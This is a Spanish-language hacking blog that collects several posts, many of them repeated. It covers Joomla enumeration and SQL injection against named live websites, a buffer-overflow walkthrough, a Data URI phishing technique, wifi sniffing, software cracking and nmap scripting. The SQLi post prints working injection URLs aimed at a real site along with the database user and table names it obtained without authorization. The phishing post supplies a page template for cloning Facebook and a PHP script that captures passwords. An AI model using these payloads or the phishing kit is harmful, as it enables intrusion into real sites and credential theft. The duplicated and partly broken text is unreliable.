when working on joomla cms information delivery varies from installation version and modules.
when reviewing a joomla theCode source can deliver information about the version of joomla, some components, let 's see an example.
Target: www.unisangil.edu.co
but not only the source code we can shed information
but the most interesting is the information that we can throw the joomla modules can do it in 2 ways brute force or looking at the source code.
list brute force
http://pastebin.com/dApPpC6X
gives us information as the source code of joomla? simple
/administrator/language/es-ES/es-ES.com_namecomponent.ini
for example:
http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_jevents.ini
http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_content.ini
http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_search.ini
Remember that this is for educational use only share research materials and each person is handling this information as.
A man is not measured by what he says is measured by what he does
3p1c0w3nd
Blog dedicado a la seguridad informatica, tratamos distintos temas de seguridad informatica. Tambien encontraras todo lo referente a la computacion, vulnerabilidades, explotacion, informatica forense, programacion y mucho mas
jueves, 12 de septiembre de 2013
lunes, 29 de julio de 2013
SQLi Maestro en linea?
"TODO ESTE MATERIAL ES DIDACTICO"
Algo de lo que no estoy de acuerdo es que te traten como un delicuente cuando encuentras un error y tratas de explotarlo. Estoy de acuerdo que eso es invadir la privacidad de la pagina. Pero no se supone que cuando un producto sale al mercado tiene que tener unas politicas o tiene que estar regido por algunas normas de seguridad.
Aveces podemos cometer errores por no poner un poco de cuidado a las entradas del usuario.
Nunca confies en lo que te envia el usuario.
Hoy revisando un poco los post, me encontre con algo viejo, de un antiguo blog.
http://br34ks3cur1ty.blogspot.com/2011/12/empresa-colombiana-de-seguridad.html
Fue casi 2 años desde que paso, ahora que trato de buscar informacion sobre esta pagina nuevamente me encuentro, que esta activa la pagina y ahora da cursos sobre seguridad informatica.
Veamos que nos dice nuestro amigo robots.txt acerca del sitio
como podemos ver es un joomla, con sus multiples componentes ademas tenemos
Algo de lo que no estoy de acuerdo es que te traten como un delicuente cuando encuentras un error y tratas de explotarlo. Estoy de acuerdo que eso es invadir la privacidad de la pagina. Pero no se supone que cuando un producto sale al mercado tiene que tener unas politicas o tiene que estar regido por algunas normas de seguridad.
Aveces podemos cometer errores por no poner un poco de cuidado a las entradas del usuario.
Nunca confies en lo que te envia el usuario.
Hoy revisando un poco los post, me encontre con algo viejo, de un antiguo blog.
http://br34ks3cur1ty.blogspot.com/2011/12/empresa-colombiana-de-seguridad.html
Fue casi 2 años desde que paso, ahora que trato de buscar informacion sobre esta pagina nuevamente me encuentro, que esta activa la pagina y ahora da cursos sobre seguridad informatica.
Veamos que nos dice nuestro amigo robots.txt acerca del sitio
como podemos ver es un joomla, con sus multiples componentes ademas tenemos
User-agent: * Disallow: /administrator/ Disallow: /cache/ Disallow: /components/ Disallow: /images/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /libraries/ Disallow: /media/ Disallow: /modules/ Disallow: /plugins/ Disallow: /templates/ Disallow: /tmp/ Disallow: /xmlrpc/ Disallow: /grabacionconferencias/ Disallow: /ceh_basic_inter/ Disallow: /ceh_avanzado/ Disallow: /cursos_elmaestroenlinea_0283Ahs/
ceh_avanzado ????. Bueno como algunos conoceran joomla es un cms de codigo abierto, es decir cualquiera puede editar su estructura o añadir nuevos modulos.
Algunas de las cosas interesantes es la informacion que puede entregar joomla al momento de realizar un pentest.
http://www.elmaestroenlinea.com/htaccess.txt
http://www.elmaestroenlinea.com/configuration.php-dist
http://www.elmaestroenlinea.com/plugins/editors/tinymce/jscripts/tiny_mce/tiny_mce_gzip.php
entre otras cosas mas pero cual es el punto de este post, cuando se busca un poco mas sobre la web se puede encontrar el tipo error comunmente SQLi. Ademas que nos arroja el error podemos modificar la consulta ya sea para que nos muestre los datos en la pagina web o hacerlo con un blind. Algunas veces es mejor realizar las inyecciones SQLi en modo BLIND puede ser un poco demorado pero existen herramientas para automatizar esto.
Les dejo la url del error aunque ya lo reporte no han dado respuesta
http://www.elmaestroenlinea.com/maestrolinea/productos.php?cursoshomesel=8'%20and%20sleep(5)%20--+
Algunos datos interesantes:
http://www.elmaestroenlinea.com/maestrolinea/productos.php?cursoshomesel=8'%20union%20select%201,current_user(),3,4,5,6,7--+
UserDB: 'masteronline'@'%'
Database: masteronline
[43 tables]
| administracion
| banners
| categoria
| categorias
| categorias_membresias
| ciudades_contraentrega
| clientes
| comentarios_contraentrega
| compras_membresia
| cumpleanos
| cursos
| cursos_aprobados
| cursospreguntas
| cursosrespuestas
| cursostemas
| cursostemasadjuntos
| docentes
| docentes_preguntas
| docentes_respuestas_preguntas
| efectivo
| encuestas
| encuestas_items
| encuestas_respuestas
| formas_pago
| imagenes
| links
| links_parrafo
| logsintranet
| membresias
| menu
| menuderecho
| menudesplegable
| modulos_intranet
| modulos_intranet_usuario
| monedas
| movimientos
| noticias
| perfiles
| sesiones
| sesiones_config
| tipo_correo
| tipo_correo_email
visitas
"Hasta el mas Habil puede fallar"
3p1c0w3nd
sábado, 13 de julio de 2013
Buffer Overflow
Bienvenidos una vez mas, hoy quiero compartir un poco de conocimiento sobre los buffer overflow.
http://en.wikipedia.org/wiki/Buffer_overflow
Cuando yo lo estaba tratando de comprender era complicado hay mucho pero mucho material en internet pero el problema es lo poco que se entiende de el,se entiende que es una carga en el buffer de almacenamiento. Que quiere decir esto?. Cuando declaramos variables en c podemos asignarles un tamaño en memoria, asi luego podemos acceder a ella por medio de un puntero, la mayoria de los arrays en c son punteros.
#include<stdio>
int main()
{
char puntero[15] = "Hola mundo";
printf("contenido de puntero: %s", puntero);
printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", &puntero);
return 0;
}
http://en.wikipedia.org/wiki/Buffer_overflow
Cuando yo lo estaba tratando de comprender era complicado hay mucho pero mucho material en internet pero el problema es lo poco que se entiende de el,se entiende que es una carga en el buffer de almacenamiento. Que quiere decir esto?. Cuando declaramos variables en c podemos asignarles un tamaño en memoria, asi luego podemos acceder a ella por medio de un puntero, la mayoria de los arrays en c son punteros.
#include<stdio>
al parece anda bien el programa pero trantando de cabiarlo un poco
vemos que si cambiamos el tamaño del array parece que el programa nos imprime el mensaje mas codigo basura, pero cuando compilamos el mismo compilador nos advierte del fallo de la longitud de la palabra.
root@servidor:~/Desktop/programacion# gcc minites.c -o test
minites.c: In function ‘main’: minites.c:7:23: warning: initializer-string for array of chars is too long [enabled by default]
root@servidor:~/Desktop/programacion# ls
0days escaneofin.c minites.c~ socket strcpy.c autenticacion.c llamadas.c ping.c socketraw.c test auth llamadas.c~ puntero socketraw.c~ test.c call minites.c puntero.c strcp
pero lo compila y lo podemos ejecutar, asi funciona esto la programacion en c, esta sobre el entendimiento de la memoria, al principio pense que todo era oculto pero cuando se comienza a averiguar no es mas que una lluvia de programacion orientada a objeto y sockets, creo que el post sera un poco largo pero quiero dejar clara todas estas partees.
Otro ejemplo
#include<stdio.h>
normal no?. recibe la entrada del usuario y la guarda en la variable puntero, para eso usamos la funcion gets() pero que pasa cuando ingresamos mas caracteres de los que podemos recibir. Antes de eso vamos a quitar la opcion de random memory
root@servidor:~# cat /proc/sys/kernel/randomize_va_space
2
root@servidor:~# echo 0 > /proc/sys/kernel/randomize_va_space
Esto lo hacemos para que no nos arroje una random de memoria en la variable, si se daran cuenta siempre que ejecutamos el programa nos arrojaba una direccion de memoria distinta, ahora nos arrojara una fija.
root@servidor:~/Desktop/programacion# gcc minites.c -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o test
Cuando ingresamos 20 Aes no pasa nada pero con 30 parece que hay un fallo de memoria, una violacion
root@servidor:~/Desktop/programacion# ./test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
contenido de puntero: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Posicion en memoria de la variable puntero: 0xbffff4f1
Violación de segmento
-ggdb -fno-stack-protector -mpreferred-stack-boundary=4 estos parametros los recibe el compilador de c puedes dar un man gcc para mas informacion, el ggdb es para cuando vallamos a depurarlo.
root@servidor:~/Desktop/programacion# gdb ./test
list 1 es para listar el programa como pasamos el parametro -ggdb nuestro depurador recibe esa informacion es para mejor entendimiento cuando se depura un programa. solo nos falta colocar unos cuantos break en el programa para cuando llegue a esa pocision haga un stop y poder analizar que es lo que pasa a nivel interno del pc.
eip 0x8048455 0x8048455
el registro eip es el mas importante ya que es el que vamos a editar para que el programa haga lo que nosotros queramos, al final dejo algunos enlaces no quiero alargar esto a un curso de asm o registro xD.
imprimimos 100 palabras en hexadecimal de la memoria, damos la letra n para seguir ingresamos nuestras 30 Aes y volvemos a analizar los registro imprimiendo el contenido de esa memoria.
esp apunta a una pocision en memoria que se encuentra 0xbffff4a0. Cuando imprimimos lo que contiene esa direccion de memoria podemos encontrar un numero repetido el 41. Que hexadecimal significa nuestra letra A. Cuando realizen el ejercicio veran que esp esp 0xbffff4a0
y cuando finalizamos el programa el programa nos arroja una direccion de memoria, 0x00414141 in ?? (). Por lo visto solo nos falta una A para poder sobreescribir totalmente EIP.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141 in ?? ()
que pasa con todo esto veamoslo con una funcion nueva en nuestro programa.
#include
la funcion nuncasejecuta() no es llamada en el main, asi que no se debera ejecutar, pero eso no advierte que no tiene que cargarla en memoria.
(gdb) disas nuncasejecuta
tenemos la direccion en memoria de la funcion nuncasejecuta(), como recordaran para sobreescribir EIP se necesitan 31 Aes, ahora 31-4 = 27 ahora vamos a crear algo para explotar esto.
root@servidor:~/Desktop/programacion# printf
Y hemos podido decirle al programa que haga, aunque no este programado para eso.
he programado un pequeño script que pueden editar y practicar tambien sirve como para que aprendas algo de cracking.
jueves, 11 de julio de 2013
Data_URI_scheme y phishing
Hola queridos lectores despues de un largo rato de ausencia he querido retomar de nuevo un poco el blog esta vez con un tema que he estudiado antes pero es extenso, te doy unas pautas luego tu veras que utilidad le prestas, no quiero desembocar una lluvia de phishing o algo parecido solo quiero dar a conocer una de las tantas tecnicas que existen en el mundo de la seguridad informatica pero expresada en terminos de curiosidad nada mas ;).
Data_URI_scheme
lo que sucedera cuando se acceda a ese archivo html es que se redireccionara a una pagina nueva con un enlace data:
ahora solo los faltaria el archivo que capturara los datos
login.php
<?php
$email = $_POST["email"];
$pass = $_POST["pass"];
$contenido = "
email : $email\n
clave : $pass
Pwn3d!!!!!!
";
print $contenido;
?>
ahora cuando ingresen los datos los recibiremos en nuestro script login.php ya cada cual sabra el funcionamiento o que le agregara, recuerda que esto solo es educativo y yo al igual que tu estoy aprendiendo solo comparto algo de conocimiento de lo que se, se que el texto puede contener errores pero no me juzzgues muy duro xD.
La forma de comprender las cosas aveces es experimentando, puedes ver mas a fondo como funciona esto consultando o practicando tu mismo.
Links
https://isc.sans.edu/diary/%22Data%22+URLs+used+for+in-URL+phishing/13996
http://www.breakthesecurity.com/2012/09/phishing-site-using-data-uri-hack.html
http://www.youtube.com/watch?v=Zlk76Oqw7Oo
"La curiosidad no puede tratarse como un delito"
3p1c0w3nd
Data_URI_scheme
The data URI scheme is a URI scheme (Uniform Resource Identifier scheme) that provides a way to include data in-line in web pages as if they were external resources. This technique allows normally separate elements such as images and style sheets to be fetched in a single HTTP request rather than multiple HTTP requests, which can be more efficient.
Data URIs tends to be simpler than other inclusion methods, such as MIME with cid or mid URIs. Data URIs are sometimes called Uniform Resource Locators, although they do not actually locate anything remote. The data URI scheme is defined in RFC 2397 of the Internet Engineering Task Force (IETF).
In browsers that fully support Data URIs for "navigation", JavaScript generated content can be provided as file "download" to the user, simply by setting window.location.href to a Data URI. One example is the conversion of HTML tables to downloadable CSV using a Data URI like this: 'data:text/csv;charset=UTF-8,' + encodeURIComponent(csv), where "csv" has been generated by JavaScript.
The IETF published the data URI specification in 1998[1] as Proposed Standard on the IETF Standards Track, and hasn't progressed it since. The HTML 4.01 specification refers to the data URI scheme,[2] and data URIs have now been implemented in most browsers.
Si lo se esta en ingles, este texto lo ley varias veces hasta entenderlo por desgracia no lo logre al 100% solo un pequeño porcentaje, pero es curioso su funcionamiento, vamos mejor a un ejemplo:
https://www.facebook.com/
tenemos facebook una red social, afortunadamente cuando accedemos a la pagina podemos ver su estructura, es decir como esta formado facebook en su codigo fuente Ctrl + U en tu navegador
podemos editar algo de su codigo fuente ya que nuestro navegador lo esta mostrando, un action="login.php"
ahora solo nos queda ver en como entra en accion esto, tenemos nuestro codigo fuente editado ahora solo falta convertirlo a base64
tenemos una muy buena online para jugar un rato con los tipos de encriptacion
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiIgaWQ9ImZhY2Vib bla bla bla
bien llegamos a la parte mas importante como elaboramos un exploit que aproveche el Data_URl_scheme, algunos conoceran que cuando se ingresa una url directamente http://www.facebook.com se entiende que es la pagina principal, a menos que se halla atacado con pharming el nombre de dominio sera el real, pero cuando se ataca con phishing se corren riesgos como que se tiene que hacer parecer el nombre de dominio lo mejor posible
http://www.1facebook.com/
http://facebook.freehostia.com/
http://faceeeebok.t35.com/
etc... estos ejemplos los encontramos muy a menudo en la actualidad, que pasa cuando unimos el Data URl y html
< html >
< head >
< title >PAGINA FALSA!!!!!</ title >
</head>
< body onload="javascript:window.location='data:text/html;base64,ACA VA NUESTRO CODIGO BASE64'" >
<!-- EDUCATIVO -->
</body>
</html>
podemos unir javascript, html y Data URl para poder falsear un poco el nombre de la direccion de phishing
< html >
< head >
< title >PAGINA FALSA!!!!!</ title >
</head>
< body onload="javascript:window.location='data:text/html;base64,ACA VA NUESTRO CODIGO BASE64'" >
<!-- EDUCATIVO -->
</body>
</html>
podemos unir javascript, html y Data URl para poder falsear un poco el nombre de la direccion de phishing
lo que sucedera cuando se acceda a ese archivo html es que se redireccionara a una pagina nueva con un enlace data:
ahora solo los faltaria el archivo que capturara los datos
login.php
<?php
$email = $_POST["email"];
$pass = $_POST["pass"];
$contenido = "
email : $email\n
clave : $pass
Pwn3d!!!!!!
";
print $contenido;
?>
ahora cuando ingresen los datos los recibiremos en nuestro script login.php ya cada cual sabra el funcionamiento o que le agregara, recuerda que esto solo es educativo y yo al igual que tu estoy aprendiendo solo comparto algo de conocimiento de lo que se, se que el texto puede contener errores pero no me juzzgues muy duro xD.
La forma de comprender las cosas aveces es experimentando, puedes ver mas a fondo como funciona esto consultando o practicando tu mismo.
Links
https://isc.sans.edu/diary/%22Data%22+URLs+used+for+in-URL+phishing/13996
http://www.breakthesecurity.com/2012/09/phishing-site-using-data-uri-hack.html
http://www.youtube.com/watch?v=Zlk76Oqw7Oo
"La curiosidad no puede tratarse como un delito"
3p1c0w3nd
jueves, 11 de abril de 2013
Volveremos....
Por falta de tiempo y de algunos percances he tenido que abandonar el blog por un tiempo, pero tranquilo volveremos dentro de poco recuerda que regresaremos con nuevos tutoriales referentes al la seguridad informática.
Para mas información dudas al respecto no olvides acceder a nuestro canal de de facebook donde encontraras información de temas de la actualidad.
https://www.facebook.com/groups/br34ks3cur1ty/
También encontraras personas con múltiples conocimientos de informática podrás preguntar aportar y conversar con grandes genios de la informática :) te esperamos.
while(time)
{
print "volveremos ;)";
}
Para mas información dudas al respecto no olvides acceder a nuestro canal de de facebook donde encontraras información de temas de la actualidad.
https://www.facebook.com/groups/br34ks3cur1ty/
También encontraras personas con múltiples conocimientos de informática podrás preguntar aportar y conversar con grandes genios de la informática :) te esperamos.
while(time)
{
print "volveremos ;)";
}
jueves, 14 de marzo de 2013
Ondas Wireless
En el mundo del wireless el modo monitor es dejar en escucha la tarjeta inalambrica, es decir que capture todos los paquetes que circulan cerca del computador.
Algunos creen que las redes inalambricas se transmiten como un infrarojo llegando la señal a un destino fijo, pero no es asi, las ondas electromagneticas se encuentran en cualquier lado, asi los aparatos electronicos que manejan wireless o esa frecuencia y un poco de ingenio se pueden hacer bastantes cosas espero que les guste este apartado
la mayoria de gente suele pensar que una señal
de un aparato electronico es enviada y recibida por 2 partes, el emisor
y el receptor. Algo en lo que he leido en los ultimos dias y como la
curiosidad mato al gato me di en la tarea de ver que tan cierto era esto
he aqui mi deduccion si contiene errores les pido que me los informe
asi podrian ayudar a alguien que quiere aprender.
SEÑAL
Una señal no es mas que una onda electromagnetica que se emite en el
aire o en el vacio, cada aparato electronico celular, modem inalambrico,
tablets, ps3 entre otros manejan un tipo de señal para la comunicacion.
bueno de que nos sirve esto y que coherencia tiene este texto con esas frecuencias?
como veran la logica es una sola si ven un modem inalambrico que esta
emitiendo? señales como podemos crackear un pass de wifi? capturando
señales e injectando paquetes a un modem especifico. En este caso quiero
mostrar que no solo el modo monitor nos sirve para crackear wireless
nooo.
Usaremos 2 herramientas gratuitas y de un facil acceso
1. Gerix Wifi Cracker
2. Wireshark
Lo primero de todo es colocar nuestra tarjeta en modo monitor esto lo
realizamos de 2 formas manual o por el programa Gerix Wifi Cracker que
es el de nuestro ejemplo
ya tenemos la tarjeta en modo monitor escuchando la comunicacion de todos los modems inalambricos que alcance a captar. Ahora es el turno de wireshark, en la lista de tarjetas que modemos utilizar para escuchar nos aparece la eth0 (ren por cable), wlan0(red inalambrica), mon0(tarjeta en modo monitor)
veran
que comienza a captar paquetes por la tarjeta en modo monitor, cual es
la gracia de hacerlo con wireshark que para analizar el trafico que
circula por esa red inalambrica no hay necesidad de conectarse a esta.
Es decir el pc emite ondas que se exparsen en el aire y el modem recibe
luego el modem interpreta y transmite segun la peticion la ventaja de
wireshark es que nos deja manejar diferentes protocolos.
Con ayuda se ese entorno y una facil lectura es posible capturar paquetes TCP que hallan sido enviadas
cada frecuencia es diferente informacion, por eso te pinchan el telefono xD
3p1c0w3nd
Faceb00k y HTML
Este texto lo escribi no hace mucho trata sobre algunas cosas interesantes de facebook, como es la suplantacion de identidad de mensajes en facebook, los filtros de los mensajes de facebook. En fin lo dejo por si algun curioso quiere algun dia leerlo. Si lo lees y ves que tengo algunos errores, puedes compartirnos tu pensamiento ^^
http://www.4shared.com/office/ccHVcGsn/HTMLYFACEB00K.html
Hasta la proxima
3p1c0w3nd
http://www.4shared.com/office/ccHVcGsn/HTMLYFACEB00K.html
Hasta la proxima
3p1c0w3nd
Cracking un comienzo
Existe algo tan fantastico como las misma programacion, el cracking, esta vez no se trata de esas personas que quieren joderte la vida, o ingresar a sitios sin previa autorizacion o capturando tus claves personales. En realidad cracking trata sobre el como evadir
la restriccion de los programas para no registrarse, usar un serial o no comprar ningun software de paga.
Algunas veces es conocida como ingenieria reversa que consiste en entender el codigo lo mejor posible desde ensamblador.
Existen lenguajes de alto y bajo nivel, pero para mi concepto el mejor lenguaje de programacion es ensamblador, es cierto que es algo complicado de manejar pero quien dijo que era imposible. Les dejo un video sobre como crackear un programa, para algunos que lean mi blog veran que es algo basico, aunque les digo a ellos que hay instrucciones mejores que un NOP y un JMP ^^. Pero no solo podemos desarrollar keygen o crackear algun software aprendiendo ensamblador, hay un mundo por delante desde la explotacion de software por algunos errores de programacion hasta creacion de juegos con el Directx en 2D.
Disfrutenlo
http://vimeo.com/16399540
Refencias
http://www.ricardonarvaja.info/
Recuerda que todo este material es educativo, no seas lammer dañando el trabajo de los demas solo hazlo por aprender algo nuevo :)
3p1c0w3nd
la restriccion de los programas para no registrarse, usar un serial o no comprar ningun software de paga.
Algunas veces es conocida como ingenieria reversa que consiste en entender el codigo lo mejor posible desde ensamblador.
Existen lenguajes de alto y bajo nivel, pero para mi concepto el mejor lenguaje de programacion es ensamblador, es cierto que es algo complicado de manejar pero quien dijo que era imposible. Les dejo un video sobre como crackear un programa, para algunos que lean mi blog veran que es algo basico, aunque les digo a ellos que hay instrucciones mejores que un NOP y un JMP ^^. Pero no solo podemos desarrollar keygen o crackear algun software aprendiendo ensamblador, hay un mundo por delante desde la explotacion de software por algunos errores de programacion hasta creacion de juegos con el Directx en 2D.
Disfrutenlo
http://vimeo.com/16399540
Refencias
http://www.ricardonarvaja.info/
Recuerda que todo este material es educativo, no seas lammer dañando el trabajo de los demas solo hazlo por aprender algo nuevo :)
3p1c0w3nd
lunes, 11 de marzo de 2013
Sockets con java
Los sockets en cualquier lenguaje de programacion, son muy importantes. Nos permiten conectarnos a un host que se encuentre en una red lan o en internet. Gracias al desarrollo de algunas librerias en los lenguajes de programacion podemos hacer uso de ellos.
Para nuestro ejemplo algo basico pero sirve como entendimiento de lo que significa esto.
http://es.wikipedia.org/wiki/Socket_de_Internet
Lo primero que debemos hacer es importar algunas librerias.
No me detendre mucho explicando que es java, como declara funciones o como declarar variables, hay bastante documentacion al respeto en google. Luego que tenemos declaradas nuestras librerias es hora de inicializarlas.
Declaramos algunas variables publicas para poderlas utilizar en el programa, los tipos de datos BufferedReader, PrintWriter y Socket no serviran mucho para realizar conexion a host remotos. Luego creamos una funcion llamada conexion y dentro de ella ingresamos un bloque de try y catch en caso de que nos llegue a arrojar alguna exepcion la capturamos y poder depurar nuestro programa.
Realizamos la conexion al host usando la variable de conexion, acontinuacion utilizamos la variable entrada y salida para poder enviar y recibir informacion.
Para poder enviar informacion hacemos uso de la variable salida y utilizamos algunos metodos ya implementados en la libreria java.net.PrintWriter. Como vamos a conectarnos a un servidor web enviamos las cabeceras y esperamos una respuesta.
Con la linea
while (entrada.readLine() != null){
System.out.println(entrada.readLine());
}
lo que hacemoses recibir los datos que nos envie el servidor y luego los imprimimos en estos momentos nos arrojaria el texto html
Podemos realizar aun cosas mas interesantes ya tenemos la conexion con el host, ya recibimos texto html, ahora es el turno de las expresiones regulares. Podremos conseguir enlaces que se encuentren dentro de la url un ejemplo vamos a capturar todos los href de la web asi tener mas claridad de la pagina web.
Para realizar esto tenemos que declarar una variable de tipo array donde guardaremos cada enlace.
Despues de declarar el array solo tenemos que agregar algunas intrucciones
Vamos a explicar por partes
while(entrada.readLine() != null){
mensaje = entrada.readLine();
respuesta = respuesta.append(mensaje);
}
en esta instruccion miramos mientras que entrada.readLine() sea distinto de null guardamos en mensaje el texto enviado desde el servidor y en respuesta almacenamos el resultado de respuesta y agregamos el resultado de mensaje, asi nos queda mas facil para utilizar el texto y poder buscar lo que necesitamos
Pattern buscar = Pattern.compile("href=\"(.*?)\"", Pattern.CASE_INSENSITIVE);
Matcher palabra = buscar.matcher(respuesta);
aca creamos una variable Pattern para poder buscar un texto en lo almacenado anteriormente con Pattern.compile("href=\"(.*?)\"", Pattern.CASE_INSENSITIVE); buscamos lo que necesitamos en este caso todos los href lo que contiene es una expresion regular que nos sacara todos los href del codigo html. Luego declaramos una variable Matcher y utilizamos el metodo de Pattern matcher para buscar en respuesta.
while(palabra.find()){
i++;
path[i] = palabra.group();
System.out.println(path[i]+" "+i);
}
aca utilizamos el while y usamos el metodo de Matcher find para buscar la palabra, mientras este buscando, almacene lo encontrado en path. palabra.group() contiene lo buscado en el texto html y luego simplemente mostramos lo encontrado. Veamos que nos muestra el programa.
Exactamente lo que esperabamos, bueno hasta aca este minituto sobre sockets recuerda que hay mas, funciones de esas librerias de java. Esto tan solo es un comienzo se puede desarrolar algun crawling o algun scanner de vulnerabilidades. Esto es algo basico, existen funciones para crear servidor y cliente en este caso hemos creado un cliente que se conecta a un website y envia algunas peticiones http.
Referencias
http://docs.oracle.com/javase/6/docs/api/java/io/BufferedReader.html
http://docs.oracle.com/javase/6/docs/api/java/io/package-summary.html
3p1c0w3nd
domingo, 10 de marzo de 2013
NMAP a la orden del pentesting
nmap es una herramientas muy necesaria para realizar diversos ataques ya sean de recoleccion de informacion o de verificacion de vulnerabilidades. El echo es que nmap va a estar siempre presente, pero alguno sabe realmente el poder que tiene esta herramienta?.
La mayoria de gente lo unico que sabe es que nmap sirve para sacar puertos, versiones de software y pare de contar, pero esto no es realmente asi nmap es una herramienta muy poderosa cuando es enfocada en el mando equivocado. Hace algun tiempo vengo observando el funcionanmiento de los scripts de nmap algo realmente facinante. En el directorio
C:\Archivos de programa\Nmap\scripts
encontraremos gran variedad de script listo para utilizarse, no quiero comenzar un post igual que todos los de la red, que sean como enseñar a escanear un puerto, sacar una version un puerto en especifico. No al contrario quiero dar algo distinto a lo encontrado en internet.
Utilizando nmap con scripts
como utilizamos nmap con algun script sencillo solo tenemos que agregar la opcion --script, pero estate pendiente porque cada vez que escaneas un host y lo haces como un scriptkiddie solo lograras dejar mucho log y haci dejarias mucho rastro primero te aconcejaria que escanearas el server para ver que puertos tiene abiertos luego ya te animas a utilizar los scripts no comienzes a mandar comandos al azar xD.
nmap -p 80, 443 -d --script dns-brute.nse www.website.com
como podemos ver tenemos un pantallo de lo que nos arroja el script de dns-brute, tenemos gran variedad de script, cada uno arrojandonos informacion hacerca del website, en este caso optuvimos algunos servidores dns.
otro ejemplo de uso de scripts de nmap
nmap -p 80,443 -d --script http-email-harvest.nse www.website.com
obtuvimos algunos correos para continuar con nuestra fase de recoleccion de informacion, tan solo es probar los scripts, pero no arrojes al azar verifica bien los servicios que estan corriendo y luego elije un script apropiado.
La descripcion es la informacion que le colocamos a nuestro script
categoria encontramos algunos nombres
action es la accion que va a realizar nuestro script
Para nuestro ejemplo he decicido crear un script sencillo, que nos devuelva el codigo fuente de una pagina web con una peticion GET.
/************************************************************************/
request.nse
description = [[ Descripcion del script ]]
author = "3p1c0w3nd"
license = "http://ojodelared.blogspot.com"
categories = {"discovery", "safe"}
local http = require "http"
local shortport = require "shortport"
portrule = shortport.http
function action(host, port)
local status = http.generic_request(host, port, "GET", "/")
if status then
return status
end
end
el codigo que se encuentra en azul es la informacion de nuestro script, el codigo rojo ya son las acciones que nuestro script. Primero declaramos variables con la palabra local
local http = require "http"
local shortport = require "shortport"
esto nos sirve para importar algunas librerias de nmap y poder trabajar con ellas.
portrule = shortport.http
estamos diciendo que vamos a trabajar con el http
function action(host, port)
local status = http.generic_request(host, port, "GET", "/")
if status then
return status
end
end
finalmente nuestro codigo que realizara una peticion GET y si tiene algun resultado nos lo devolvera.
Referencias
http://seguridadyredes.wordpress.com/2010/02/25/nmap-nse-scripting-breve-resena-para-creacion-y-ejecucion-scripts-nse-nmap-parte-1/
http://seguridadyredes.wordpress.com/2010/02/26/nmap-nse-scripting-breve-resena-para-creacion-y-ejecucion-scripts-nse-nmap-parte-2/
http://nmap.org/book/nse-library.html
http://systemadmin.es/2011/09/crear-script-nse-conexiones-tcp-nmap
La mayoria de gente lo unico que sabe es que nmap sirve para sacar puertos, versiones de software y pare de contar, pero esto no es realmente asi nmap es una herramienta muy poderosa cuando es enfocada en el mando equivocado. Hace algun tiempo vengo observando el funcionanmiento de los scripts de nmap algo realmente facinante. En el directorio
C:\Archivos de programa\Nmap\scripts
encontraremos gran variedad de script listo para utilizarse, no quiero comenzar un post igual que todos los de la red, que sean como enseñar a escanear un puerto, sacar una version un puerto en especifico. No al contrario quiero dar algo distinto a lo encontrado en internet.
Utilizando nmap con scripts
como utilizamos nmap con algun script sencillo solo tenemos que agregar la opcion --script, pero estate pendiente porque cada vez que escaneas un host y lo haces como un scriptkiddie solo lograras dejar mucho log y haci dejarias mucho rastro primero te aconcejaria que escanearas el server para ver que puertos tiene abiertos luego ya te animas a utilizar los scripts no comienzes a mandar comandos al azar xD.
nmap -p 80, 443 -d --script dns-brute.nse www.website.com
como podemos ver tenemos un pantallo de lo que nos arroja el script de dns-brute, tenemos gran variedad de script, cada uno arrojandonos informacion hacerca del website, en este caso optuvimos algunos servidores dns.
otro ejemplo de uso de scripts de nmap
nmap -p 80,443 -d --script http-email-harvest.nse www.website.com
obtuvimos algunos correos para continuar con nuestra fase de recoleccion de informacion, tan solo es probar los scripts, pero no arrojes al azar verifica bien los servicios que estan corriendo y luego elije un script apropiado.
Como crear nuestro propio script?
Los scripts de nmap pueden ser creados con alguna complejidad o facilidad depende de como lo quieras tomar, vamos a analizar la creacion de un script desde 0. Todo script de nmap tiene que tener esta estructura.- description
- categories
- portrule ó hostrule
- action
La descripcion es la informacion que le colocamos a nuestro script
categoria encontramos algunos nombres
- safe modo inofensivo para el objetivo.
- intrusive algo más intrusivo que el anterior pero, casi seguro, no causará problemas en el objetivo.Tener en cuenta wue usará algunas contraseñas prefijadas en los scripts y es posible que genere logs en el objetivo. Hay que tener cuidado pues.
- malware para descubrimiento de malware y similares
- version mayor potencia en la detección de versiones. Requiere -sV
- discovery distintas pruebas de descubrimento en una red “interrogando” al los distintos servicios
- vulnerability testeo de una vulnerabilidad en concreto
action es la accion que va a realizar nuestro script
Para nuestro ejemplo he decicido crear un script sencillo, que nos devuelva el codigo fuente de una pagina web con una peticion GET.
/************************************************************************/
request.nse
description = [[ Descripcion del script ]]
author = "3p1c0w3nd"
license = "http://ojodelared.blogspot.com"
categories = {"discovery", "safe"}
local http = require "http"
local shortport = require "shortport"
portrule = shortport.http
function action(host, port)
local status = http.generic_request(host, port, "GET", "/")
if status then
return status
end
end
el codigo que se encuentra en azul es la informacion de nuestro script, el codigo rojo ya son las acciones que nuestro script. Primero declaramos variables con la palabra local
local http = require "http"
local shortport = require "shortport"
esto nos sirve para importar algunas librerias de nmap y poder trabajar con ellas.
portrule = shortport.http
estamos diciendo que vamos a trabajar con el http
function action(host, port)
local status = http.generic_request(host, port, "GET", "/")
if status then
return status
end
end
finalmente nuestro codigo que realizara una peticion GET y si tiene algun resultado nos lo devolvera.
Obtenemos la salida de nuestro script, se pueden implementar mas script con el uso de las funciones,dejo algunos enlaces para mas informacion la respecto. Espero que les halla gustado tan solo es un comienzo de algo muy gigantesco pero con un poco de esfuerzo y lectura terminaras creando algunos scripts muy interesantes.
Recuerda que todo este material es educativo, asi que no profundizo mucho sobre el tema dejo algunos enlaces por si te causa curiosidad leas un poco.
3p1c0w3nd
Referencias
http://seguridadyredes.wordpress.com/2010/02/25/nmap-nse-scripting-breve-resena-para-creacion-y-ejecucion-scripts-nse-nmap-parte-1/
http://seguridadyredes.wordpress.com/2010/02/26/nmap-nse-scripting-breve-resena-para-creacion-y-ejecucion-scripts-nse-nmap-parte-2/
http://nmap.org/book/nse-library.html
